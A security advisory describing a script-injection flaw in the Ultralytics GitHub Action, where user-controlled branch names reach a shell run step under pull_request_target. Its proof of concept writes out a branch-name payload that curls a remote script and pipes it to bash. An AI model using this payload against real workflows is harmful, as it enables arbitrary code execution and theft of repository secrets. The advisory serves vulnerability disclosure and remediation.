Summary

The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then that an attacker can inject arbitrary code into that workflow using a crafted branch name.

Details

The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:

        echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
        echo "github.ref: ${{ github.ref }}"
        echo "github.head_ref: ${{ github.head_ref }}"
        echo "github.base_ref: ${{ github.base_ref }}"

In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.

PoC

1. Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pull_request_target.

2. In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash

3. Create a draft pull request.

4. If the action is reachable, then achieve arbitrary code execution.

See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.

Impact

Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.

Fix

Sanitize the user-controlled variables using environment vars.